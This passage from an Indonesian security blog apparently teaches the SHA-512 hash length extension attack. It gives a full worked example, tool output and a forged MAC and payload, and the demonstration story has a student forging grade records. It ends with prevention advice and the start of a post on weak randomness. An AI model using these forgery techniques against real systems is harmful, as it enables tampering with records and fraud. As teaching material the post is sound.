H4 = 0x510e527fade682d1
H5 = 0x9b05688c2b3e6c1f
H6 = 0x1f83d9abfb41bd6b
H7 = 0x5be0cd19137e2179
 
Gabungan dari 8 variabel di atas membentuk initial hash value:
6a09e667f3bcc908bb67ae8584caa73b3c6ef372fe94f82ba54ff53a5f1d36f1510e527fade682d19b05688c2b3e6c1f1f83d9abfb41bd6b5be0cd19137e2179

Screen Shot 2013-03-04 at 2.22.33 PM

yang diperlukan untuk menghitung hash suatu blok adalah hash (bukan isi) blok sebelumnya

Kita tidak perlu tahu dan tidak peduli isi blok sebelumnya untuk menghitung hash suatu blok. Sekali lagi perhatikan ilustrasi gambar di atas:

  1. Untuk menghitung hash blok ke-2 kita tidak perlu tahu isi blok pertama, kita hanya perlu tahu hash blok pertama
  2. Untuk menghitung hash blok ke-3 (karena hanya ada 3 blok, maka hash blok ke-3 adalah final hash), isi blok pertama dan kedua tidak diperlukan, kita hanya perlu hash blok kedua

Isi blok sebelumnya tidak penting, yang penting adalah hashnya

Eksploitasi Length Extension Attack

Bila diketahui hash(N bytes of unknown data X) adalah H, maka kita bisa menghitung hash(N bytes of unknown data X + padding + append).

Setelah mengerti proses padding dan penghitungan hash SHA512 sekarang kalau kita melihat hash SHA512 dari suatu data, misalkan SHA512 dari ‘A’ sebanyak 300 karakter adalah ’689699398b28bae3…’ perlu diingat bahwa:

  • Hash ’689699398b28bae3…’ itu adalah hash dari blok terakhir (blok ke-3 dalam contoh ini)
    Screen Shot 2013-03-06 at 6.12.04 AM
  • Data yang dihash sebenarnya adalah gabungan ‘A’x300 + byte padding
    Screen Shot 2013-03-06 at 6.20.12 AM
  • Hash itu bisa dijadikan input untuk menghitung hash blok data tambahan lain

Bagaimana bila kita tidak tahu isi dari 300 byte data tersebut ?

Bila diketahui SHA512 ( 300 bytes of unknown data ) adalah:
689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715
 
Berapakah SHA512 ( 300 bytes of unknown data + padding byte + 'BBBBB') ??

Proses di Server

Dengan memanfaatkan cara kerja SHA512 kita bisa meng-extend penghitungan hash 300 byte data yang sebelumnya final di blok ke-3 menjadi baru final di blok ke-4 (atau mungkin ke-5, ke-6 tergantung ukuran data tambahan ) karena kita tambahkan data baru.

Screen Shot 2013-03-06 at 6.48.50 AM

Data yang akan ditambahkan client adalah ‘BBBBB’ (42 42 42 42 42). Data tambahan tersebut harus diletakkan di blok baru (blok ke-4) seperti pada gambar di atas agar client bisa menghitung hash 4 blok data tanpa harus tahu isi blok ke-1, blok ke-2 dan blok ke-3.

Proses yang terjadi di server umumnya adalah verifikasi apakah MAC dan data yang dikirim client valid atau tidak. Server akan menggabungkan (concat) ‘A’x300 + data yang dikirim client, baru kemudian menghitung hash dari hasil penggabungan data tersebut.

$data = str_repeat('A', 300);
$append = 'client appended data'
$servermac = hash('sha512',$data.$append)."\n";

Yang perlu diingat adalah hasil dari penggabungan (concat) yang dilakukan server harus tetap menjaga agar isi blok 1, blok 2 dan blok 3 tetap sama seperti ketika menghitung hash ‘A’x300.

Mari kita lihat bagaimana kalau client mengirimkan $append = ‘BBBBB’ ? Server akan menggabungkan ‘A’x300 + ‘BBBBB’ yang membentuk blok yang berbeda seperti gambar di bawah ini. Blok pertama dan kedua gambar di kiri masih sama dengan yang kanan , tapi blok ke-3 berbeda. Pada gambar di kiri, setelah byte 41 (‘A’) langsung diikuti dengan byte 42 (‘B’) sebanyak 5x. Karena bloknya berbeda, tentu hash blok ke-3 berbeda, bukan lagi ’689699398b…’ sehingga client tidak bisa lagi menggunakan hash ’689699398b…’ sebagai input untuk memproses blok berikutnya.

Screen Shot 2013-03-06 at 8.37.14 AM

Oke jadi kita tidak boleh langsung mengirimkan data tambahan ‘BBBBB’ karena ketika diconcat akan menghasilkan hash yang berbeda dengan yang sudah diketahui ’689699398b…’.

Agar blok 1, 2 dan 3 tetap sama ketika diconcat, maka data yang diappend tidak boleh langsung ‘BBBBB’. Data yang di append client harus didahului dengan ’80 00 00 00 … 09 60′ untuk menutup blok ke-3, baru kemudian diikuti dengan ‘BBBBB’ (42 42 42 42 42). Mari kita lihat blok yang terbentuk bila ‘A’x300 diconcat dengan ’80 00 00 00 … 09 60 42 42 42 42 42′

Screen Shot 2013-03-09 at 7.52.47 PM

Hasil gabungan 300x’A’ di server + data yang dikirim client + padding byte akan membentuk 4 blok dibawah ini.

Screen Shot 2013-03-06 at 9.12.23 AM

Pada gambar di atas, data yang diappend client adalah yang hijau terang. Terlihat bahwa blok 1,2,3 tetap sama, dan string ‘BBBBB’ berada di blok baru. Ini adalah blok yang benar, jadi kita kini sudah tahu data yang harus diappend client adalah ’80 00 00 00 … 09 60 42 42 42 42 42′.

Proses penghitungan hash data hasil concat ‘A’x300 dan data yang diappend client (’80 00 00 … 09 60 42 42 42 42 42), terlihat pada gambar di bawah ini. Kalau sebelumnya, hash blok ke-3 (689699398b….) adalah final hash, sekarang hash tersebut menjadi input untuk menghitung hash blok ke-4. Perhatikan juga byte berwarna biru yang berisi panjang data dalam bit bernilai 0C 28 atau 3112 bit / 389 byte (300 byte ‘A’ + 84 byte pad + 5 byte ‘B’).

Screen Shot 2013-03-05 at 9.14.11 AM

Mari kita hitung SHA512 dari 300 huruf A + data yang diappend client dengan script php pendek berikut.

$data = str_repeat('A', 300);
$append = 
	"\x80\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x09\x60".
	"\x42\x42\x42\x42\x42";
print hash('sha512',$data.$append)."\n";
 
Output dari program di atas:
587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Proses di Client

Server bisa dengan mudah menghitung SHA512 karena memang server mengetahui isi dari 300 byte datanya adalah huruf A sebanyak 300, jadi dia hanya perlu melakukan penggabungan (concat) dengan data yang diappend client dan menghitung hashnya seperti biasa.

Lalu bagaimana dengan client ? Dia tidak tahu isi datanya, dia hanya tahu bahwa datanya berukuran 300 byte dan hashnya.

Cara menghitungnya di sisi client mudah saja, hampir sama dengan menghitung SHA512 biasa, namun dengan sedikit perbedaan:

  1. Penghitungan hash tidak mulai dari nol, tidak mulai dari blok pertama. Hash dari 300 byte unknown data tersebut dipakai sebagai input untuk menghitung blok ke-4 (tidak memakai default initial hash value).
  2. Blok ke-4 berisi ‘BBBBB’ dan byte padding seperti biasa untuk menggenapi menjadi 1024 bit. Namun padding 128 bit terakhir yang berisi panjang data dalam bit, ada sedikit perbedaan. Panjang data yang ditulis bukan hanya 40 bit (5 byte), tapi panjang datanya adalah 128*3 (3 blok data) + 5 byte. Jadi walaupun client hanya menghitung blok ke-4 saja, tapi perhitungannya blok ini seolah-olah adalah kelanjutan dari penghitungan blok 1, 2 dan 3 jadi panjang datanya adalah gabungan 3 blok + 5 byte ‘B’.

Screen Shot 2013-03-06 at 9.55.01 AM

Tentu saja untuk mengakomodir perbedaan/perlakuan khusus tersebut kita tidak bisa menggunakan fungsi SHA512 yang standar. Saya mulai dengan mengimplementasi algoritma SHA512 berdasarkan standar FIPS 180-3 dengan python kemudian memodifikasi sedikit menjadi tools sha512-extender. Silakan download toolsnya: SHA512-EXTENDER

Berikut adalah output dari tools sha512-extender.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]
 
rizki$ ./sha512-extender.py 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715 '' 'BBBBB' 300
Injection Data in Hex Format:
00000: 80 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 09 60 42 42 42 42 - 42
 
Injection Data in Base64 Encoded Format:
gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlgQkJCQkI=
 
########## Original Message ##########
00000: 42 42 42 42 42
 
########## 1st Padding ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
 
########## Final Padded Blocks ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 0C 28
 
########## Words ##########
 
## Block 0
00000: 42 42 42 42 42 80 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 0C 28 -
 
#####################################################################################################################################################################
Initial Hash value              : 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715
 
Memproses Blok 0
Intermediate SHA512 for block 0 : 587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Perhatikan bahwa tools sha512-extender.py menghasilkan hash ’587b5638d9f73a….’ yang sama persis dengan yang dihitung oleh server. Namun bedanya kita menghitung hash tersebut tanpa mengetahui isi dari 300 byte data aslinya.

Kalau client mengirimkan hash ’587b5638d9f73a…’ dan data yang di append (80 00 00 … 42 42 42 42 42) tersebut ke server, server tidak akan komplain karena hash yang dikirim client akan sama persis dengan hash yang dihitung di server walaupun client tidak tahu isi 300 byte datanya. Yes, We Win!

Kisah Mahasiswa Galau (part 2)

Si mahasiswa galau yang pantang menyerah, akhirnya mengetahui tentang hash length extension attack dan mulai menyusun rencana untuk menyerang. Si mahasiswa juga sudah mengetahui bahwa panjang kunci rahasia di aplikasi akademik tersebut adalah 14 karakter.

Dia menduga bahwa source code di server akan berbentuk kurang lebih seperti ini:

$data = base64_decode($_GET['nilai']);
$token = $_GET['token'];
$secretkey = "xxxxxxxxxxxxxx"; // unknown 14 byte data
if (hash('sha512',$secretkey.$data) == $token) {
	// OK
} else {
       // ERROR
}

Berikut informasi yang sudah diketahui si mahasiswa galau:

Parameter nilai:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7 ('1300000023|CS321=C;CS442=B;')
Parameter token, SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'): 
1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9
Panjang kunci: 14

Karena setiap nilai dipisahkan dengan titik-koma, maka si mahasiswa ingin menambahkan data ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ di akhir data aslinya supaya nilainya berubah menjadi A untuk 5 mata kuliah itu.

Parameter nilai yang akan dikirim (asli+padding+tambahan) :
'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;'
Token:
SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;')

Kali ini si mahasiswa sudah tidak galau lagi, walaupun dia tidak tahu isi ‘unknown 14 byte key’, dia tetap bisa menghitung token yang valid karena dia mengetahui SHA512(‘unknown 14 byte key’+’1300000023|CS321=C;CS442=B;’). Kalau sudah tahu SHA512(A+B), mencari SHA512(A+B+C) itu mudah walaupun tidak tahu A dan B.

Dengan hash length extension attack, dia tinggal melanjutkan penghitungan hashnya dengan blok data baru untuk mendapatkan nilai hash yang baru. Dia memakai tools sha512-extender untuk menghitung mac yang valid.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]
rizki$ ./sha512-extender.py 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9 '1300000023|CS321=C;CS442=B;' ';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;' 14
Injection Data in Hex Format:
00000: 31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
00016: 3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 
 
00128: 3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
00144: 3D 41 3B 43 53 34 34 34 - 3D 41 3B
 
Injection Data in Base64 Encoded Format:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=
 
########## Original Message ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B
 
########## 1st Padding ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00
 
########## Final Padded Blocks ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 05 48
 
########## Words ##########
 
## Block 0
00000: 3B 43 53 31 31 34 3D 41 -
00000: 3B 43 53 35 32 31 3D 41 -
00000: 3B 43 53 32 32 31 3D 41 -
00000: 3B 43 53 31 32 35 3D 41 -
00000: 3B 43 53 34 34 34 3D 41 -
00000: 3B 80 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 05 48 -
 
#####################################################################################################################################################################
Initial Hash value              : 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9
 
Memproses Blok 0
Intermediate SHA512 for block 0 : 48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7

Perhatikan output dari tools tersebut, data yang akan dikirim ke server adalah:

Injection Data in Hex Format:
31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 
 
3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
3D 41 3B 43 53 34 34 34 - 3D 41 3B

Data tersebut kalau disusun ulang sususannya menjadi berbentuk blok 1024 bit menjadi:

?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? 31 33 
30 30 30 30 30 30 32 33 - 7C 43 53 33 32 31 3D 43 
3B 43 53 34 34 32 3D 42 - 3B 80 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 01 48
 
3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
3B 43 53 34 34 34 3D 41 - 3B

Ada sebanyak 14 tanda tanya pada blok di atas, itu adalah secret key yang tidak diketahui oleh si mahasiswa. Di server nanti, secret key yang panjangnya 14 byte akan diconcat dengan data yang dikirim mahasiswa galau, sehingga tanda tanya di atas akan terisi dengan secret key dan menjadi lengkap 1 blok. Blok pertama tersebut isinya sama dengan blok pertama ketika menghitung hash SHA512(‘s4nG4t#R4h4514′+’1300000023|CS321=C;CS442=B;’) yang menghasilkan hash ’1af41c81d665f0…’.

Setelah menutup blok pertama dengan ’01 48′, data matakuliah dan nilai yang ditambahkan si mahasiswa akan mengisi awal dari blok kedua.

Dengan tools sha512-extender si mahasiswa juga sudah mendapatkan MAC yang valid untuk data ’1300000023|CS321=C;CS442=B;’+padding+’;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ yaitu ’48be6ba7fa90e….’

Token:
48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7
Nilai (base64 encoded):
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=

Akhir cerita, tanpa mengetahui kunci rahasia, si mahasiswa bisa mengubah nilainya menjadi A semua untuk 5 mata kuliah tersebut.

Screen Shot 2013-03-05 at 11.41.28 AM

Proses di Server Akademik

Si mahasiswa kini sudah tidak galau lagi karena sudah sukses mencurangi sistem akademik kampusnya. Sekarang kita akan melihat proses di server dan bagaimana server bisa tertipu ?

Berikut adalah source code di server, terlihat bahwa kunci rahasianya adalah ‘s4nG4t#R4h4514′ berukuran 14 byte. Walaupun si mahasiswa tidak mengetahui kunci rahasia itu, tapi dia tetap bisa mengirim data nilainya dengan hash (MAC) yang valid. Kok bisa? Mari kita lihat apa yang sebenarnya terjadi.

Screen Shot 2013-03-05 at 11.59.00 AM

Kita mulai dari melihat proses penghitungan hash secret key + data aslinya (‘s4nG4t#R4h45141300000023|CS321=C;CS442=B;’) menjadi ’1af41c81d…’.

Screen Shot 2013-03-05 at 12.28.24 PM

Sekarang kita lihat pada gambar di bawah ini, bagaimana secret key di server digabung dengan data yang dikirim si mahasiswa galau. Sekali lagi yang perlu diingat adalah bahwa hasil penggabungan (concat) antara secret key dan data yang dikirim si mahasiswa, harus membentuk blok pertama yang sama (tidak boleh berbeda).

Screen Shot 2013-03-09 at 8.56.19 PM

Dan ini adalah proses penghitungan hash di server setelah secret key digabung dengan data yang dikirim si mahasiswa.

Screen Shot 2013-03-05 at 12.44.46 PM

Pada gambar di atas, data yang berwarna hijau gelap adalah secret key ‘s4nG4t#R4h4514′ yang tidak diketahui si mahasiswa. Data yang berwarna hijau terang adalah data yang dikirim oleh si mahasiswa. Jadi proses pada gambar tersebut adalah penghitungan hash dari gabungan (concatenation) kunci rahasia (hijau gelap) dan data yang dikirim si mahasiswa galau (hijau terang).

Perhatikan juga bahwa data yang dikirim si mahasiswa (hijau terang) adalah data aslinya (’1300000023|CS321=C;CS442=B;’), diikuti dengan padding (80 00 00 … 01 48) untuk menggenapi dan menutup blok data aslinya, kemudian diikuti dengan data tambahan ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ (3B 43 53 31 31…) di awal blok kedua. Si mahasiswa mengirim byte ’01 48′ untuk menutup blok pertama karena panjang secret key (14)+panjang data aslinya (27)=41 byte atau 328 bit dan dalam hexa adalah 01 48.

Sederhananya, data yang dikirim mahasiswa galau adalah hampir semua isi blok pertama kecuali secret key di awal blok (hijau gelap), karena memang dia tidak tahu isinya + data baru tambahan.

Proses Penghitungan oleh si Mahasiswa Galau

Perhatikan perbedaan antara penghitungan hash di server dan di client. Proses penghitungan hash di server dilakukan dari nol, dimulai dari blok pertama dan dengan initial hash value default dari FIPS 3-180 (’6a09e667…’) karena server mengetahui kunci rahasia ‘s4nG4t#R4h4514′.

Sedangkan client, karena tidak tahu kunci rahasia, dia tidak bisa menghitung hash value dari blok pertama. Tapi walaupun dia tidak tahu isi blok pertama, dia tahu hash dari blok pertama, yaitu ’1af41c81d…’. Ingat, isi blok pertama tidak dibutuhkan, yang dibutuhkan hanya hash dari blok pertama.

Gambar di bawah ini adalah modifikasi dari gambar proses di server dengan proses penghitungan blok pertama dihilangkan, langsung memproses blok kedua tanpa memproses blok pertama karena memang client tidak tahu isi blok pertama.

Perhatikan pada 128 bit padding berwarna biru, panjang data adalah 05 48 atau 1352 bit, yang merupakan panjang 1 blok data (1024 bit) + panjang ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ dalam bit. Jadi walaupun yang dihitung adalah satu blok saja, tapi penghitungan hash di client ini seolah-olah adalah kelanjutan dari penghitungan blok pertama sehingga panjang datanya harus mengikutsertakan panjang blok pertama juga.

Screen Shot 2013-03-05 at 12.58.41 PM

Jadi proses penghitungan hashnya dimulai dari blok pertama (di server) atau langsung dari blok kedua (di client), hasil akhirnya akan sama, ’48be6ba7fa…’.

Bila panjang kunci tidak diketahui

Dalam dua contoh pertama walaupun client tidak tahu isi kuncinya, tapi hanya tahu panjang kunci. Panjang kunci contoh pertama adalah 300 byte (‘A’x300), dan pada contoh kedua panjang kuncinya adalah 14 byte (‘s4nG4t#R4h4514′).

Dengan mengetahui panjang kunci, client bisa dengan mudah menghitung byte padding yang dibutuhkan dan panjang data total yang akan dihash (panjang hasil concat kunci+data dari client). Lalu bagaimana bila client yang akan menyerang tidak tahu isi kunci dan panjang kuncinya ?

Bila panjang kunci tidak diketahui, tidak ada masalah juga. Client bisa dengan mudah melakukan brute force, mulai dari panjang kunci 1, 2, 3, 4… sampai ketemu panjangnya 14. Tools sha512-extender tersebut kalau mau bisa dengan mudah dimodifikasi sedikit untuk mengakomodasi kebutuhan brute force. Kalau panjang kunci 1, maka MAC nya ini, dan data yang harus dikirim ke server adalah ini, kemudian dicoba request ke server, bila gagal, coba lagi tools extender kali ini dengan panjang kunci 2 dan seterusnya.

Pencegahan

Agar program yang kita buat tidak bisa diexploit dengan teknik ini, solusinya sederhana:

  1. Don’t reinvent the wheel. Hindari membuat sendiri MAC dengan bentuk-bentuk HASH(kunci+data). Gunakan HMAC (Hash-based MAC) yang memang sudah dirancang untuk membuat MAC yang aman.
  2. SHA3 (Keccak) tidak vulnerable terhadap hash length extension, jadi kalau tetap menggunakan bentuk HASH(kunci+data) gunakan SHA3(kunci+data).
 

Exploiting Weak Random Number

On July 27, 2012, in Cryptography, by Rizki Wicaksono

Dalam tulisan ini saya akan membahas tentang random number, dan bagaimana attack terhadap random number generator bisa sangat berbahaya. Selama ini kita sering mendengar tentang random number tapi banyak yang belum paham betapa pentingnya random number dalam keamanan informasi dan apa bahaya yang terjadi bila random number yang dipilih tidak cukup random?

Randomness

Apakah yang dimaksud dengan random/acak ? Bagaimana kita mendefinisikan sesuatu bisa disebut acak atau bukan ?

Sebenarnya sulit menentukan apakah sesuatu itu benar-benar random atau bukan. Tapi secara umum kita menyebut sesuatu itu random bila kita tidak melihat adanya pola atau keteraturan atau urutan (absence of pattern, absence of order), walaupun absence of order juga tidak menjamin benar-benar random.

Suatu deretan angka tidak bisa dibilang random bila deretan angka itu digenerate oleh suatu prosedur/algoritma tertentu yang deterministik, artinya setiap kali prosedur tersebut dijalankan lagi, deretan angka yang keluar akan selalu sama dengan yang sebelumnya.

Beberapa properti yang bisa dipakai untuk menilai randomness adalah:

  1. Even distribution
  2. Unpredictability
  3. Uniqueness

Even Distribution

Even distribution maksudnya adalah semua hasil yang mungkin mempunyai peluang yang sama. Sebagai contoh kalau kita melempar dadu, setiap sisi mempunyai peluang yang sama, tidak boleh berat ke salah satu sisi saja. Dalam waktu yang cukup lama, data yang digenerate secara random seharusnya akan mengcover hampir semua data set secara merata (tidak berkelompok di salah satu bagian saja).

Kalau himpunan semua nilai yang mungkin digambarkan sebagai pixel dalam monitor anda, number generator yang baik akan secara merata mengisi semua pixel yang ada, tidak berkelompok di satu area tertentu.

Tiga gambar di bawah ini memperlihatkan distribusi random number yang merata, mulai dari masih sedikit sampai makin banyak.

Semakin banyak bilangan yang digenerate, akan semakin merata bilangan itu menutupi area-area yang kosong.

Perbedaan antara password yang dibuat oleh manusia dan random password generator terlihat dari distribusi penggunaan karakternya. Password yang dibuat manusia distribusinya tidak merata karena sangat dipengaruhi oleh bahasa yang dipakai. Bahasa manusia jelas tidak random, sehingga password yang diturunkan dari bahasa tersebut juga tidak mungkin random. Bila dalam bahasa inggris,  huruf yang paling sering dipakai adalah ‘e’, maka frekuensi huruf e akan terlihat menonjol dibanding huruf lainnya.

Berbeda dengan password yang digenerate oleh password generator, dari 26 huruf yang ada, semua huruf punya peluang yang sama sehingga distribusinya merata. Tidak ada satu huruf yang lebih sering dipakai dibandingkan huruf yang lain.

Perbedaan ini menunjukkan bahwa password yang dipilih manusia sangat jauh dari random. Hal ini terlihat dari grafik distribusi karakter password yang dibuat oleh manusia. Terlihat ada karakter-karakter yang terlihat menonjol karena sering dipakai, ada juga karakter-karakter yang jarang atau tidak pernah dipakai dalam password.

Password yang digenerate oleh password generator memiliki distribusi karakter yang merata. Grafik di bawah jelas menunjukkan bahwa semua karakter mempunyai peluang yang sama, tidak ada karakter yang sangat sering, lebih sering, jarang dipakai atau tidak pernah dipakai.

Unpredictability

